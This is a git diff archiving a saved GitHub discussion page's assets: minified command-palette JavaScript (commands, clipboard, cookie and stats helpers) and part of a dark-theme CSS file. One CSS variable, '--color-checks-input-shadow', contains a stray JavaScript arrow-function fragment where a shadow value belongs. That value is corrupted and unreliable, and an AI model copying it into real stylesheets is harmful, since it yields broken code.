conversation`,this.icon=`${e?"lock":"key"}-color-fg-muted`}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}isLock(){var e,s;return((s=(e=document.querySelector("summary.lock-toggle-link"))==null?void 0:e.textContent)==null?void 0:s.trim())==="Lock conversation"}fetchDetails(){return document.querySelector("details.js-lock-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=document.querySelector("#unlock-reason"))==null||s.focus()},0))}}n(Te,"LockIssue");class xe extends y{constructor(){super(...arguments);this.title="Delete issue\u2026",this.icon="trash-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-delete-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=e.querySelector('button[type="submit"]'))==null||s.focus()},0))}}n(xe,"DeleteIssue");class Pe extends y{constructor(){super(...arguments);this.title="Convert issue to discussion\u2026",this.icon="comment-discussion-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-convert-to-discussion")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(Pe,"ConvertToDiscussion");const Ge=[Z,N,Te,we,xe,Pe];var Ye=a(78078),P=a(76745);class K extends y{constructor(){super(...arguments);this.title="Open in new codespace",this.icon="codespaces-color-fg-muted",this.priority=11}isApplicable(){const e=this.fetchElements();return!!(e.codeModal&&e.codespacesForm&&e.newCodespacesButton&&e.codespacesTab)}run(){const{codeModal:e,codespacesTab:s,newCodespacesButton:o}=this.fetchElements();!(e&&s&&o)||(e.open=!0,s.click(),o instanceof HTMLButtonElement&&o.click())}fetchElements(){const e=document.querySelector(".js-create-codespaces-form-command"),s=(e==null?void 0:e.closest("details"))||null,o=(s==null?void 0:s.querySelector('[data-tab="cloud"]'))||null,r=(e==null?void 0:e.querySelector('summary[role="button"], button[type="submit"]'))||null;return{codespacesForm:e,codeModal:s,codespacesTab:o,newCodespacesButton:r}}}n(K,"OpenCodespace");var $=a(76168);class Ae extends N{constructor(){super(...arguments);this.title="Edit pull request body"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.isPullRequest()}}n(Ae,"EditPullRequestBody");class Le extends Z{constructor(){super(...arguments);this.title="Edit pull request title"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isPullRequest()}}n(Le,"EditPullRequestTitle");class je extends y{constructor(){super(...arguments);this.title="Update current branch",this.icon="sync-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-update-branch-form button")}run(){const e=this.fetchButton();e&&(e.scrollIntoView({behavior:"smooth",block:"center"}),e.click())}}n(je,"UpdateBranch");class De extends y{constructor(){super(...arguments);this.title="Convert to draft",this.icon="git-pull-request-draft-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-convert-to-draft")}run(){var e;const s=(e=this.fetchButton())==null?void 0:e.closest("details");s&&(s.open=!0,setTimeout(()=>{var o;(o=s.querySelector(".js-convert-to-draft"))==null||o.focus()},0))}}n(De,"ConvertToDraft");class Me extends y{constructor(){super(...arguments);this.title="Copy current branch name",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-copy-branch")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Branch name copied to clipboard!")}catch{e.displayFlash("error","Unable to copy branch name to clipboard!")}}}}n(Me,"CopyBranchName");const et=[Me,Le,Ae,je,De,K];class ke extends y{constructor(){super(...arguments);this.title="Copy file permalink",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchPermalinkContainer()instanceof HTMLAnchorElement}fetchPermalinkContainer(){return document.querySelector(".js-permalink-shortcut")}async run(e){const s=this.fetchPermalinkContainer();if(s){const o=`${s.href}${window.location.hash}`;try{await(0,$.z)(o),e.displayFlash("success","Copied permalink!")}catch{e.displayFlash("error","Failed to copy permalink!")}}}}n(ke,"CopyPermalink");class Be extends y{constructor(){super(...arguments);this.title="Clone repository: Copy HTTPS",this.icon="copy-color-fg-muted",this.priority=4}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-http")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Be,"CloneCopyHttps");class Ie extends y{constructor(){super(...arguments);this.title="Clone repository: Copy SSH",this.icon="copy-color-fg-muted",this.priority=3}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-ssh")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Ie,"CloneCopySsh");class Oe extends y{constructor(){super(...arguments);this.title="Clone repository: Copy GitHub CLI",this.icon="copy-color-fg-muted",this.priority=2}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-gh-cli")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Oe,"CloneCopyCli");const tt=[Be,Ie,Oe,ke,K];class J extends Ye.B{constructor(){super(...arguments);this.itemsByType={},this.items=[],this.needsFetch=!0}enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}get hasCommands(){return!0}async fetch(e){return this.items=[...Ge.map(o=>o.item()),...et.map(o=>o.item()),...tt.map(o=>o.item()),...Qe.map(o=>o.item()),...Xe.map(o=>o.item())].filter(o=>o.isApplicable(e)),{results:this.fuzzyFilter(this.items,e)}}get debounce(){return 0}clearCache(){}}n(J,"MainWindowCommandsProvider"),window.commandPalette&&window.commandPalette.registerProvider("main-window-commands-provider",new J),window.addEventListener("command-palette-ready",()=>{var t;(t=window.commandPalette)==null||t.registerProvider("main-window-commands-provider",new J)});var O=a(64465),st=a(49815),ot=Object.defineProperty,nt=Object.getOwnPropertyDescriptor,F=n((t,e,s,o)=>{for(var r=o>1?void 0:o?nt(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&ot(e,s,r),r},"command_palette_input_element_decorateClass");let A=n(class extends HTMLElement{constructor(){super(...arguments);this.setupComplete=!1,this.connected=!1}static get observedAttributes(){return["input-value","typeahead","scope"]}setup(){this.classList.add("d-flex","flex-items-center","flex-nowrap","py-1","pl-3","pr-2","border-bottom"),this.input=this.querySelector("input.js-input"),this.overlayInput=this.querySelector("input.js-overlay-input"),this.scopeElement=this.querySelector("command-palette-scope"),this.searchIcon=this.querySelector(".js-search-icon"),this.spinner=this.querySelector(".js-spinner"),this.defaultScope=this.scope,this.hasAttribute("autofocus")&&this.input.focus(),this.inputValue.length!==0&&this._dispatchEvent("command-palette-input"),this.setupComplete=!0}connectedCallback(){this.setupComplete||this.setup(),this.inputValue=this.getAttribute("input-value")||"",this.typeahead=this.getAttribute("typeahead")||"",this.placeholder=this.getAttribute("placeholder")||"",this.connected=!0}attributeChangedCallback(t,e,s){!this.input||(t==="typeahead"?this.typeahead=s:t==="input-value"&&(this.inputValue=s,this._dispatchEvent("command-palette-input")))}focus(){this.input.focus()}setRemovedTokenAndSelect(t){t&&(this.inputValue=t),this.focus(),this.input.select()}get scope(){return this.scopeElement.scope}set scope(t){this.scopeElement.scope=t,this.clearButton.hidden=!this.hasSomethingToClear()}hasScope(){return this.scopeElement.hasScope()}clearScope(){return this.scopeElement.clearScope()}removeToken(){return this.scopeElement.removeToken()}get placeholder(){return this.input.getAttribute("placeholder")||""}set placeholder(t){this.input.setAttribute("placeholder",t)}get typeaheadPlaceholderText(){return this.typeaheadPlaceholder.textContent||""}set typeaheadPlaceholderText(t){this.typeaheadPlaceholder.textContent=t}get inputValue(){var t;return((t=this.input)==null?void 0:t.value)||""}set inputValue(t){this.input.value=t,this.typeahead=t,this.resetPlaceholder(),this.onInput()}get overlay(){return this.overlayInput.value}set overlay(t){this.overlayInput.value=t}get typeahead(){return this.typeaheadValue}set typeahead(t){if(this.typeaheadValue=this.overlay+t,this.mirror.textContent=this.inputValue,t==="")this.typeaheadText.textContent="";else if(this.placeholder="",this.typeaheadPlaceholderText="",this.valueStartsWithTypeahead){const e=this.inputValue.length-(this.overlay?1:0);this.typeaheadText.textContent=t.substring(e)}else this.typeaheadText.textContent=` \u2013 ${t}`}showModePlaceholder(t=""){this.typeaheadPlaceholderText=t}get valueStartsWithTypeahead(){return this.typeaheadValue.toLowerCase().startsWith(this.inputValue.toLowerCase())}get isCursorAtEnd(){return this.inputValue.length===this.input.selectionStart}set loading(t){this.spinner.hidden=!t,this.searchIcon.hidden=t}resetPlaceholder(){this.inputValue.replace(this.overlay,"")&&this.overlay&&(this.typeaheadPlaceholderText=""),this.placeholder=this.getAttribute("placeholder")||""}onInput(){this.resetPlaceholder(),!!this.connected&&(this.clearButton.hidden=!this.hasSomethingToClear(),this._dispatchEvent("command-palette-input"))}onClear(t){t instanceof KeyboardEvent&&t.key!=="Enter"||(this.inputValue="",this.input.focus(),this._dispatchEvent("command-palette-cleared"))}onKeydown(t){if(this.isSelectKeystroke(t.key)&&(this._dispatchEvent("command-palette-select"),t.stopImmediatePropagation(),t.preventDefault()),this.hasSomethingToClear()&&(0,O.o)(t)&&t.key==="Backspace"){this.onClear();return}if(this.input.selectionStart===0&&this.input.selectionEnd===0&&t.key==="Backspace"){this._dispatchEvent("command-palette-descope"),t.stopImmediatePropagation(),t.preventDefault();return}}hasSomethingToClear(){return this.scopeElement.hasScope()||this.inputValue.length>0}isSelectKeystroke(t){return(0,st.c)("ACCESSIBLE_COMMAND_PALETTE")?!1:t==="Tab"||t==="ArrowRight"&&this.isCursorAtEnd}textSelected(){return this.input.selectionStart!==this.input.selectionEnd}_dispatchEvent(t){const e=new CustomEvent(t,{cancelable:!0,detail:{typeahead:this.typeahead,value:this.inputValue}});return this.dispatchEvent(e)}},"CommandPaletteInputElement");A.tagName="command-palette-input",F([i.fA],A.prototype,"typeaheadPlaceholder",2),F([i.fA],A.prototype,"typeaheadText",2),F([i.fA],A.prototype,"mirror",2),F([i.fA],A.prototype,"clearButton",2),A=F([i.Ih],A);var rt=a(11793),it=a(6741),at=a(35889),Re=a(64463),ct=a(45922);window.customElements.get(O.Z.tagName)||window.customElements.define(O.Z.tagName,O.Z);function lt(){document.addEventListener("keydown",ut),(0,Re.N7)(".js-command-palette-dialog",t=>{if(!t)return;const e=window.performance.now(),s=Q();!s||(t.addEventListener("toggle",()=>{t.open?s.activate():s.deactivate()}),s.addEventListener("command-palette-activated",o=>{o instanceof CustomEvent&&(o.detail.previouslyActivated||(0,ct.b)({distributionKey:"COMMAND_PALETTE_FIRST_OPEN",distributionValue:window.performance.now()-e}))}))}),(0,Re.N7)(".js-socket-channel.js-updatable-content",{subscribe:t=>(0,it.RB)(t,"socket:message",()=>{const e=Q();!e||e.clearCommands(!1)})})}n(lt,"observeCommandPalette");function Q(){return document.querySelector(O.Z.tagName)}n(Q,"findCommandPalette");function ut(t){if(!t.code)return;const e=Q();if(!e)return;const s=mt(),o=X(e.platformActivationHotkey,t),r=X(e.platformSecondaryActivationHotkey,t),c=X(e.platformCommandModeHotkey,t),l=!dt(t)&&!s&&(o||c),L=!s&&(r||c),w=e.hasAttribute("data-memex-hotkey-enabled")&&s&&(o||r||c);(l||L||w)&&(ft(c),t.preventDefault(),t.stopPropagation())}n(ut,"handleKeyDown");function X(t,e){let s=(0,rt.EL)(e);return s=s.replace("\u02DA","k"),t.split(",").some(o=>s===o)}n(X,"hotkeyMatchesEvent");function dt(t){return ht(t)||pt(t)}n(dt,"shouldIgnoreActivation");function ht(t){const e=t.target;return e?e.closest(".js-previewable-comment-form")!==null:!1}n(ht,"triggeredInsideAPreviewableCommentForm");function pt(t){const e=t.target;if(!e)return!1;const s=e.closest(".js-code-editor");if(!s)return!1;const o=(0,at.P)(s);if(!o)return!1;const r=o.editor;if(!r)return!1;const c=r.getMode().name;return c==="gfm"||c==="markdown"}n(pt,"triggeredInsideAMarkdownCodeEditor");function mt(){return!!document.querySelector("#memex-root")}n(mt,"triggeredInsideMemex");function ft(t){for(const e of document.querySelectorAll(".js-command-palette-dialog")){const s=e.querySelector(A.tagName);if(!s)return;if(e.open)e.open=!1;else{yt(s,t);const o=e.querySelector(O.Z.tagName);o&&(o.previouslyActiveElement=document.activeElement),e.open=!0}}}n(ft,"toggleCommandPalette");function yt(t,e){const s=t.inputValue.startsWith(">");return e&&!s?(t.inputValue=`>${t.inputValue}`,!0):!e&&s?(t.inputValue=t.inputValue.substring(1),!0):!1}n(yt,"toggleCommandMode"),lt()},35889:(S,C,a)=>{a.d(C,{P:()=>v,g:()=>g});var i=a(59753);const b=new WeakMap;function v(d){return b.get(d)}n(v,"getCodeEditor");async function g(d){return b.get(d)||m(await p(d,"codeEditor:ready"))}n(g,"getAsyncCodeEditor");function m(d){if(!(d instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=d.detail.editor;if(!d.target)throw new Error("assert: event.target is null");return b.set(d.target,h),h}n(m,"onEditorFromEvent"),(0,i.on)("codeEditor:ready",".js-code-editor",m);function p(d,h){return new Promise(u=>{d.addEventListener(h,u,{once:!0})})}n(p,"nextEvent")},64992:(S,C,a)=>{a.d(C,{I3:()=>v,h5:()=>m,on:()=>p,yn:()=>d});var i=a(7739),b=a(64926);(async()=>(await i.x,(0,b.d8)("preferred_color_mode",v())))();function v(){if(g("dark"))return"dark";if(g("light"))return"light"}n(v,"getPreferredColorMode");function g(h){return window.matchMedia&&window.matchMedia(`(prefers-color-scheme: ${h})`).matches}n(g,"prefersColorScheme");function m(h){const u=document.querySelector("html[data-color-mode]");!u||u.setAttribute("data-color-mode",h)}n(m,"setClientMode");function p(h,u){const f=document.querySelector("html[data-color-mode]");!f||f.setAttribute(`data-${u}-theme`,h)}n(p,"setClientTheme");function d(h){const u=document.querySelector("html[data-color-mode]");if(!!u)return u.getAttribute(`data-${h}-theme`)}n(d,"getClientTheme")},64926:(S,C,a)=>{a.d(C,{$1:()=>b,d8:()=>g,ej:()=>i,kT:()=>m});function i(p){return b(p)[0]}n(i,"getCookie");function b(p){const d=[];for(const h of v()){const[u,f]=h.trim().split("=");p===u&&typeof f!="undefined"&&d.push({key:u,value:f})}return d}n(b,"getCookies");function v(){try{return document.cookie.split(";")}catch{return[]}}n(v,"readCookies");function g(p,d,h=null,u=!1,f="lax"){let E=document.domain;if(E==null)throw new Error("Unable to get document domain");E.endsWith(".github.com")&&(E="github.com");const _=location.protocol==="https:"?"; secure":"",G=h?`; expires=${h}`:"";u===!1&&(E=`.${E}`);try{document.cookie=`${p}=${d}; path=/; domain=${E}${G}${_}; samesite=${f}`}catch{}}n(g,"setCookie");function m(p,d=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const u=new Date().getTime(),f=new Date(u-1).toUTCString(),E=location.protocol==="https:"?"; secure":"",_=`; expires=${f}`;d===!1&&(h=`.${h}`);try{document.cookie=`${p}=''; path=/; domain=${h}${_}${E}`}catch{}}n(m,"deleteCookie")},7739:(S,C,a)=>{a.d(C,{C:()=>b,x:()=>i});const i=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),b=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},97474:(S,C,a)=>{a.d(C,{Z:()=>i});function i(b){var v,g;const m=(g=(v=b.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:g.content;if(!m)return!1;const p=m.replace(/\.$/,"").split(".").slice(-2).join("."),d=b.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return p!==d}n(i,"detectProxySite")},45922:(S,C,a)=>{a.d(C,{b:()=>g});var i=a(97474),b=a(7739);let v=[];function g(u,f=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=h(),v.push(u),f?d():p()}n(g,"sendStats");let m=null;async function p(){await b.C,m==null&&(m=window.requestIdleCallback(d))}n(p,"scheduleSendStats");function d(){var u,f;if(m=null,!v.length||(0,i.Z)(document))return;const E=(f=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:f.content;if(!E)return;const _=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(E,_)}catch{}v=[]}n(d,"flushStats");function h(){var u,f;return!!((f=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:f.content)}n(h,"isLoggedIn"),document.addEventListener("pagehide",d),document.addEventListener("visibilitychange",d)},6741:(S,C,a)=>{a.d(C,{RB:()=>b,qC:()=>v,w0:()=>i});class i{constructor(m){this.closed=!1,this.unsubscribe=()=>{m(),this.closed=!0}}}n(i,"Subscription");function b(g,m,p,d={capture:!1}){return g.addEventListener(m,p,d),new i(()=>{g.removeEventListener(m,p,d)})}n(b,"fromEvent");function v(...g){return new i(()=>{for(const m of g)m.unsubscribe()})}n(v,"compose")}},S=>{var C=n(i=>S(S.s=i),"__webpack_exec__");S.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996","vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"],()=>C(86761));var a=S.O()}]);})(); + +//# sourceMappingURL=command-palette-10120dba33e7.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css new file mode 100644 index 0000000..f8ab479 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css @@ -0,0 +1,3 @@ +[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: 